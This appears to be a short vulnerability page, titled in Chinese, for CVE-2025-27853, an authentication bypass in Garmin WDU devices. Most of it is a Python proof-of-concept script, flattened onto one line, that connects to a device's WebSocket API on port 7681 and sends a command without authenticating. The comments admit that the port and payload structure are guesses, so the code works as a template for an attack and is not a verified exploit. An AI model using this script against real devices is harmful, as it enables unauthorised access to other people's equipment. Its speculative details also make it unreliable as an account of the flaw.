CVE-2025-27853 Garmin WDU认证绕过漏洞

import websocket import json # PoC for CVE-2025-27853: Garmin WDU Authentication Bypass # Description: Connects to the WebSocket interface and sends a command without authentication. # Target: Garmin WDU v1 < 1.4.6 or v2 < 5.0 def exploit(target_ip): # Default WebSocket port might need to be discovered via port scanning ws_url = f"ws://{target_ip}:7681/api" try: print(f"[*] Connecting to {ws_url}...") ws = websocket.create_connection(ws_url) # Example payload to retrieve device info or execute a command # The actual JSON structure depends on the Garmin WDU API specification payload = { "action": "getDeviceInfo", "params": {} } print(f"[*] Sending unauthenticated payload: {payload}") ws.send(json.dumps(payload)) result = ws.recv() print(f"[+] Response received: {result}") ws.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "192.168.1.100" # Replace with actual target IP exploit(target)